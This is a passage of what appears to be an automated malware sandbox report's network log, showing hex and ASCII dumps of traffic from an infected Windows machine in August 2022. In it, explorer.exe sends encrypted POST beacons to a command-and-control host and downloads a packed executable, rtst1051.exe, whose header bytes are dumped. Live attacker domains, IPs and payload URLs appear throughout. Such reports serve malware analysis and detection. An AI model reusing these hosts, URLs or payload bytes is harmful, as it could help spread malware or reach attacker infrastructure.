22 bc d9 75 ad 4f 36 f8 37 33 e8 d6 f9 ca ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 51 d6 6b 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d 1d 51 2b e5 8b c9 7b 7e 45 f7 ff 38 20 55 db c4 1d 13 13 bf 2e e2 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d 70 02 19 e0 28 95 a9 b1 4c f8 96 bc 25 51 e0 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 06 7f 30 6c 79 7c 0a 8d c7 5d a8 0e 64 df 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 a7 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 d7 bf 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 a5 ad ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 47 22 11 51 8c 60 17 4b 81 7f dc 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 6e 19 58 ee c3 fe 54 a3 4c 45 8c 1f d4 44 6b 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a 0d d0 7f 74 79 f0 21 43 cc 8f 8b 8b e1 12 76 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 53 35 28 77 33 c3 00 45 0b 64 27 0d 08 f6 64 f9 7b c5 ec fe eb ed ab 01 3f 26 58 c5 97 09 ae d6 e4 55 7f 20 e5 a4 cc dd 61 9a 2a 02 e5 9f 32 99 4b 05 02 6e ff 38 13 72 dc ba f7 ae cc 50 2a fb e0 b0 21 40 16 d6 6c 02 ef db 06 81 2d 1b e0 56 7c bf b7 f3 cf 06 8c 41 1f 1d 2a 78 39 8c 6b ca 9f d5 78 28 58 d8 b8 66 56 82 3f 5c f3 84 14 6b 32 7f ce d2 c9 a3 76 e0 df d6 e3 ae 52 53 87 6e 51 37 77 4d 27 79 9b 4b 86 43 cf ba bd 0c 7b c5 34 cb 0d 3a c9 32 7a 2b d7 97 3e ef 4e 9e 8a Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG?Dxvz8bkP)-_n^k_&e02!V=;Y"uO673p"XJcb>Y ZQk[V?#B7PRQ+{~E8 U.$a\|l~_Dzp(L%Q.\|8HkJ{/a]F40ly\|]d~qhJO;yLuV)n#u1yr+Lc<'i3FHUhU@Wd{9f(B@wXdG"Q`K^NTUOIL/TnXTLEDk),^[}_>ty!Cv+z(F_zk7 RH:M?~Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=S5(w3Ed'd{?&XU a2Kn8rP!@l-V\|A*x9kx(XfV?\k2vRSnQ7wM'yKC{4:2z+>N
Aug 31, 2022 14:28:25.633294106 CEST	10260	IN	Data Raw: f5 ed c4 4c 59 94 42 86 5c 64 58 e8 60 c0 0b 34 8e 8b 31 82 41 14 24 66 43 4c d9 35 6d 59 c2 df d1 53 36 4e 9d d5 b5 26 63 b3 64 57 5a 70 c9 3d f5 c6 93 9a 11 9d 01 99 32 2c 46 42 13 aa dc 2c a8 bf cd e2 1c 14 9e db c0 64 89 cb f6 cb a8 3f 43 5b Data Ascii: LYB\dX`41A$fCL5mYS6N&cdWZp=2,FB,d?C[4oudAd$a[ 67=Q7I!:SODA-'W-w<+c5QUV!AA_0+FfE^Wb(#FS.
Aug 31, 2022 14:28:25.887670994 CEST	10261	IN	Data Raw: df 8a 2a a4 c3 6a 9f d8 5d a7 ba fb 6d 7a ff 37 07 cd 76 d0 f9 5e 0f 30 a8 8c c8 5b a3 ca c1 1f 53 92 2a 7f 2d 0c 22 0d 4b c2 36 b5 b9 25 95 b6 04 2a b6 d0 37 5c c3 2b d5 11 cc 67 b6 10 32 eb 7d ee da 14 e9 12 fa 1a 23 83 0e 4e 35 a2 56 6f f4 c2 Data Ascii: j]mz7v^0[S-"K6%*7\+g2}#N5Vo $ atw-?=}RzG.53KB[N5lwgpd^;^),8jC;]7FMSd52rPy<\|!a+
Aug 31, 2022 14:28:25.887705088 CEST	10262	IN	Data Raw: 17 bc 1d 1a 10 32 9e 55 ac b4 00 ee 66 5c 15 13 ca 46 69 af c7 00 e8 30 36 01 c5 34 61 39 d2 ac 3d 94 af 59 7b 77 23 9f 5b 16 00 03 4f 73 ba 80 d3 d9 e0 6e f1 78 ea 05 53 a3 4f 9e b7 13 78 1c be 37 87 8c 41 84 b4 86 fd 07 87 22 f6 0e 8d e2 05 3d Data Ascii: 2Uf\Fi064a9=Y{w#[OsnxSOx7A"=\|-^,k1 Og,&ctGXI7Rj?6ak3}eM;2pPmNW6c.h50ua{\,q!S!X~]tiyEK`7
Aug 31, 2022 14:28:25.887726068 CEST	10264	IN	Data Raw: 7b 80 2f 47 1a 01 ef 74 fd e2 2a 42 47 dc 44 1b 5b cb 9e 74 0f 41 b3 c2 cb d5 40 c2 2f 0e e0 8d f9 6a 4d e5 ed 55 8f 27 c9 4d fb 5c 5e ae 6f 7e 81 1c 86 5c 1e a5 d0 7b 52 f4 05 ce 5c 5f a3 c6 7c f5 7d d5 ca 75 c7 f8 f2 21 26 e0 43 36 01 00 2c 94 Data Ascii: {/Gt*BGD[tA@/jMU'M\^o~\{R\_\|}u!&C6,?!~AQ 69{"Y;7n qk%vijhdn%uM`"N}R0U/!5sGJNhN:%ZDhxf<8
Aug 31, 2022 14:28:25.887748003 CEST	10265	IN	Data Raw: b0 a3 8c dc 12 22 da 8b 7d 0e 58 cf b9 26 14 db 4b e4 2e 3a 47 38 06 d4 9f 74 38 88 01 f6 24 7b cb ae 0c a8 a7 44 15 36 26 86 cf db b7 56 4f 79 58 1a ca 31 e8 51 05 44 e5 10 70 fe 8a cf fa d7 a9 05 72 6f 95 0f 6c 67 fd b4 1a da 83 33 06 37 03 d9 Data Ascii: "}X&K.:G8t8${D6&VOyX1QDprolg37Iu]jS/?CvS["@wYne'P-oC'F?z+M<31vWkxtt~z+$EN/Vv)odT`QAUEioo9-D?d
Aug 31, 2022 14:28:26.138210058 CEST	10267	IN	Data Raw: 18 7b 3b 22 4f e2 57 8f 1b b3 a6 95 3b b6 3b ad 4b c1 23 e6 e6 e2 f2 0a cf a7 77 2b 85 4a 68 f2 10 fe 85 2d 38 fc 69 e3 93 8c 3d 18 08 7b 71 ad 3c e4 66 8e 09 60 1f 00 99 a5 df be cb bb 04 05 59 f8 06 fa 8b df 51 aa 11 5d eb ad 36 eb c3 57 68 88 Data Ascii: {;"OW;;K#w+Jh-8i={q<f`YQ]6Wha6byF'OC[x2An\Tle2>{YW2WQ)yuIeXF\|\\|NvH~^o<Fd8.*h^j$+bgr
Aug 31, 2022 14:28:26.138246059 CEST	10268	IN	Data Raw: 5a 0b 8f be 4c 4c f6 be ef 3d c3 d2 63 0a 34 30 dd e7 fc dd 3e d5 cc 78 f5 24 db a2 7a 18 fa 99 a0 03 c8 61 54 fd 95 9b 38 2d f0 47 91 31 78 f3 bb fe 92 4f ec 38 d3 25 46 88 ef f4 71 6e 83 a8 a7 82 b7 09 56 14 13 b3 fb bb 02 b1 8d 0d b7 fd 6c 52 Data Ascii: ZLL=c40>x$zaT8-G1xO8%FqnVlR7L1,ZJ4Md!B*L}!WZhma:g"3HX\-N\.C6R~p~A`7I]s;!]iUMRS_lKiHdqu.K
Aug 31, 2022 14:28:26.138276100 CEST	10269	IN	Data Raw: 0b 2f c9 d6 b5 59 15 45 90 cc 06 de 46 5b 2e 52 3e 56 14 c5 ae fc 8f 6d e7 81 09 fb ad d2 39 d2 97 fb 05 d0 76 c5 29 53 26 52 73 c0 95 f1 47 6a 8e 86 6d df 9b b3 21 f3 16 0e 89 de 6e 54 2a 05 47 14 1b c6 a2 bc 57 9b 7c d0 0b 44 4c 02 b6 2d 25 1c Data Ascii: /YEF[.R>Vm9v)S&RsGjm!nT*GW\|DL-%Md{=9s_7RKv2rZ!Ho<}KU@rA^d,2xton/]CUVMk{" @JK))G]J~
Aug 31, 2022 14:28:26.138304949 CEST	10271	IN	Data Raw: e5 1c 52 93 66 ac 0c 38 34 e3 bd 9a f3 8c dd be d8 65 05 9f d1 f1 ce e8 df d6 43 ce a6 c8 df 37 c5 8e 85 d0 32 ea c7 13 1e 0b 87 9a e1 50 01 24 5e 70 ab f8 33 d1 72 08 dc 72 c7 f6 c8 70 f8 37 d5 f2 be a2 c0 7b fb f5 13 46 ca bc 47 c2 db cf 91 7b Data Ascii: Rf84eC72P$^p3rrp7{FG{9{Ywc;EnhmDe(}c\{V#I;5eyt<iCloH2l5+KL^y(G.POC-;D8 x4y<~wN.
Aug 31, 2022 14:28:26.138331890 CEST	10272	IN	Data Raw: db 45 52 87 ae d7 d7 71 0f 2a e3 c4 11 7d 95 1a 72 7c fa 4b 2c 2f d0 f7 38 95 82 66 39 d9 5d 74 b4 67 b5 80 ca fd c2 bd 8f c8 c5 c9 3f 41 15 8f 97 36 be a4 ec 56 87 32 18 d5 b8 0a 6c b5 7a 94 ca 15 e5 27 4e cf d8 5b 4f ad 9e b3 98 b7 66 c2 3e dd Data Ascii: ERq*}r\|K,/8f9]tg?A6V2lz'N[Of>'fniDuja1Ua![Fi`$'!%Nvh8r~9p%T5ral@&\/ZBrvb^36apjo3oR8L

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.4	49724	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:31.447273016 CEST	11118	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fpiygfd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 195 Host: linislominyt11.at
Aug 31, 2022 14:28:31.447285891 CEST	11119	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bb 8a 14 62 cc d6 4f 96 e5 df 1c ee Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bO7FBLi2J7JingWcMy``[m>Z:/"p*]GTy0!%
Aug 31, 2022 14:28:32.290535927 CEST	11119	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.4	49725	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:32.627449036 CEST	11120	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://baldtc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: linislominyt11.at
Aug 31, 2022 14:28:32.627475977 CEST	11121	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b8 8a 14 62 cd d6 4f 96 84 fe 45 b7 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOE6CmW%nM=r!#`+=iX=e}/&B*P#3d.3DErxHX!m$:_@lLUI!x/j=&1EsA@
Aug 31, 2022 14:28:33.481725931 CEST	11121	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:33 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 0e 81 08 dd 51 c1 fe 05 a6 3d bf 2c 44 4a 32 f1 63 03 65 9f 5c 2f 0a 6a d4 e3 87 b3 d8 6b cc 76 72 17 37 b6 fd ab b7 4d 7c 93 23 28 bf cc 86 71 ed Data Ascii: Uys/~(`:Q=,DJ2ce\/jkvr7M\|#(q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.4	49726	85.209.157.230	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:33.771537066 CEST	11122	OUT	GET /hp8/g1/rtst1051.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: stylesheet.faseaegasdfase.com
Aug 31, 2022 14:28:33.939284086 CEST	11123	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:33 GMT Content-Type: application/octet-stream Content-Length: 3923456 Last-Modified: Wed, 31 Aug 2022 02:16:22 GMT Connection: keep-alive ETag: "630ec476-3bde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 60 c4 0e 63 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 1d 00 b6 0d 00 00 98 04 00 00 00 00 00 ae 2b 4d 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 69 00 00 04 00 00 00 00 00 00 02 00 20 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 9e 4f 00 a0 00 00 00 00 50 69 00 d5 01 00 00 c0 be 68 00 20 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 3d 53 00 30 00 00 00 80 bd 68 00 38 01 00 00 00 00 00 00 00 00 00 00 00 70 37 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 b4 0d 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f4 55 03 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 96 00 00 00 30 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 d0 83 00 00 00 d0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 60 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 76 6d 70 30 00 00 00 23 f6 1a 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 e0 d6 3b 00 00 70 2d 00 00 d8 3b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d5 01 00 00 00 50 69 00 00 02 00 00 00 dc 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 19 b1 ef 48 75 5e 66 d5 59 a9 7c 05 03 53 79 38 54 de 45 4c 22 69 00 29 13 ab 04 95 16 d3 5d f1 2a 7c 70 86 74 09 65 8a 24 2e 5e 0a Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd`c#+M@`i OPih =S0h8p7.text `.rdataU@@.data0@.pdata@@_RDATA`@@.vmp0#p``.vmp1;p-;`h.rsrcPi;@@GHu^fY\|Sy8TEL"i)]*\|pte$.^
Aug 31, 2022 14:28:33.939301968 CEST	11125	IN	Data Raw: 55 6e 24 55 69 d1 76 a3 3e 2f 72 0b 17 ad 4b 01 39 6e 40 f6 4f 84 6b d3 3e a0 7c 61 5b 17 5d dd 01 33 7e 4d 2a eb 22 4b 35 74 48 65 14 4d 2c 45 52 b1 23 34 61 94 57 c3 0a 9a 51 96 71 a6 69 a3 5e ed 60 6c 1d be 1e f9 06 53 64 94 19 6c 38 a6 2b 85 Data Ascii: Un$Uiv>/rK9n@Ok>\|a[]3~M"K5tHeM,ER#4aWQqi^`lSdl8+z,,$\[\%HAGj$#,5')19P\V!{GOLY`z@y?}&)?Du^d0oq\|(&<SyG94@4"vI?T;1WD.=0KRw)J(GqpqIGetModuleFileNameWhF6
Aug 31, 2022 14:28:33.939483881 CEST	11126	IN	Data Raw: f7 9d 17 9f 5e 01 da 12 38 9e a6 a7 ff 5d 61 3b 38 b2 45 5e 44 13 37 3b 9e ac 49 87 7e 61 e5 4a 09 b6 5e f5 db eb b5 9e 87 ba c0 30 a1 66 9e e4 52 61 92 4c 28 00 9e e0 12 1d 20 a6 4f 65 26 d7 c3 af 6c 7a 39 5f b3 2a 4e 5e df 78 7b e0 b1 25 6d 43 Data Ascii: ^8]a;8E^D7;I~aJ^0fRaL( Oe&lz9_N^x{%mC3B\|Mm3WY,5e8^?PdGx}!w1Enx+1nV)$SEM59F$3KKxq/
Aug 31, 2022 14:28:33.939552069 CEST	11127	IN	Data Raw: b3 7a bf da 4b 01 70 f8 35 b4 99 28 b5 02 00 00 00 cc dc 55 e3 ff 8b b4 b8 61 06 f5 8d 7c 48 46 b5 07 8a 61 11 a0 fe fe f3 a7 d5 16 17 ae ce fb aa 0b 75 0e e8 d4 0e 4f 92 8d dd 49 12 15 70 48 e4 40 f4 79 b0 6e bd 01 00 00 1c ee 61 3f c0 f5 4a 72 Data Ascii: zKp5(Ua\|HFauOIpH@yna?JrJh\|d$}U5k2IkgZ9OKzkt':K'KTK]t:-ExU]0SNFCrD9@a*~o_zs[tYTK6qfMfkx^
Aug 31, 2022 14:28:33.939888954 CEST	11129	IN	Data Raw: f4 d3 df cc 85 1f 4d ef a3 91 81 73 26 20 0d 0b 74 29 d7 31 a2 92 be b5 ce c4 79 6d 53 75 63 63 1a 30 76 7f cc fb 45 5e b3 89 c0 03 87 1e b5 4b 1b aa 67 b1 83 42 05 99 58 aa c8 4b d1 f9 2c e2 75 ec cc a8 92 bf 63 3c c4 ef 72 f6 e0 42 7f be ee 58 Data Ascii: Ms& t)1ymSucc0vE^KgBXK,uc<rBXJG0L?JU#4dvJztPF_bJJJ)>Z1JR~ZL+]P8<EG>hQMmIt
Aug 31, 2022 14:28:33.939959049 CEST	11130	IN	Data Raw: 4d f3 17 f2 e5 b6 e2 8e b9 8e 75 94 96 7e ad 23 45 dd f0 6b d3 2b c5 52 f5 12 a8 46 94 13 d4 26 d6 cc 67 ef 48 95 a6 29 e7 7d a4 ba 31 77 78 50 7b b0 7e 78 16 f2 b5 fa 06 e8 22 3d 0c ea 5f 82 b2 f7 80 3f 83 ec 8c 16 71 d6 32 88 73 b4 78 82 ea 41 Data Ascii: Mu~#Ek+RF&gH)}1wxP{~x"=_?q2sxAP>j\|96TZ5*H]c{7dU;Hi6DviqqtzBnl[Cd8IGoU1]{#QQu4l4;K44
Aug 31, 2022 14:28:33.940207958 CEST	11132	IN	Data Raw: 98 02 34 29 01 a9 b2 a0 60 4b a6 69 a0 c1 fb 67 fe e9 5a 74 66 3e 3b 27 e2 f5 57 5c 5e 39 99 50 fe ff ff ff 2f 16 28 fd e1 cd e0 d3 a4 d3 39 be b6 f9 92 14 de d1 c0 0a f4 ef df 91 41 e6 e5 da 36 4e 57 5c cc 10 6a af 01 00 00 10 2c b0 ac 0c 02 2c Data Ascii: 4)`KigZtf>;'W\^9P/(9A6NW\j,,$&Nz>s]bU8][oj4q%UM3n{fzH567W_V#k?S\7\w^`I7E8p\|YBkg:
Aug 31, 2022 14:28:33.940279961 CEST	11133	IN	Data Raw: e9 a7 b8 25 00 27 57 9f 53 55 ee 95 b9 5a cc d1 c2 c9 e3 f3 ec 89 4e a2 71 8d 28 bd 16 f7 a0 f6 b9 73 5d 86 46 db 41 94 8e fa 8e ed a3 fd cc c7 96 7f 42 2c d0 bb 8f d2 0e 08 36 77 6f d6 b7 f2 5d 66 90 4e a5 3c 71 c7 3e 1c 24 9c 8c b9 5d 0e 05 2d Data Ascii: %'WSUZNq(s]FAB,6wo]fN<q>$]-JN6C,Vy0i8-,R 0_v 3@%=]c!-%_\h:__=d2@\3ZhC$v$??___{oL_
Aug 31, 2022 14:28:33.940705061 CEST	11134	IN	Data Raw: 35 5f ed 43 ed fd a0 e9 bc 0e 99 20 02 eb 47 3b 5f c7 bb fe 1c df 5b f1 63 16 df 41 08 22 17 df 76 6b 88 f3 a0 f3 f2 ef e7 20 b8 23 a3 9d 20 09 b1 f2 03 5f 53 f9 c2 cc a0 37 e1 f1 04 5f 63 4e 12 60 df cc 51 5b c2 a0 89 d9 e2 e5 20 1d 98 52 f2 11 Data Ascii: 5_C G;_[cA"vk # _S7_cN`Q[ R= _H}lMUb5^V 3&04.t0ZJx$vpMvb1\5[fbzx2~~5$%;e,a" \|9_9jK;_q$m ^$5_
Aug 31, 2022 14:28:33.940730095 CEST	11136	IN	Data Raw: 30 8b d3 ef c2 f9 d6 6d d8 73 ac 23 33 3e a4 24 10 9a 58 07 b5 b7 72 ac a2 e9 51 f7 20 f3 70 c7 04 66 26 6c 1f 5f a8 ca e6 ec b0 e5 31 85 20 d5 30 5c bf 32 77 8c b7 74 d2 3a 6f 4e 8b e7 0b 6b 52 8b 75 2f c3 e8 a0 69 06 8e d9 94 73 0b 79 8b 0a 1f Data Ascii: 0ms#3>$XrQ pf&l_1 0\2wt:oNkRu/isypAB2Cu%_glwQ%ZI-#ol?f:t{8$SXSj)SW\|j,=bey \9dp8ouowwda,O9
Aug 31, 2022 14:28:34.105912924 CEST	11137	IN	Data Raw: c6 c8 01 a8 ce ff 8c c7 ca 90 bf 45 45 35 00 ff ff ff ff 38 f0 96 77 8f bf 70 9d 9b cd a6 81 42 39 34 4b 87 cd f1 5a 84 42 f5 b0 10 83 02 6b 00 26 00 47 a8 3f 7d 3d 69 30 e5 4e bd b0 8b c5 0f d3 d4 02 58 7c a3 b6 2a 1b c0 a7 ce ab 24 25 47 b8 05 Data Ascii: EE58wpB94KZBk&G?}=i0NX\|$%Gy=ayBv&uK.Kn(Z\|=j&.i?R\|(er(Ua(If@dg#kKUPGb5pBV)!&7%y)'Bd"

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.4	49728	210.92.250.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
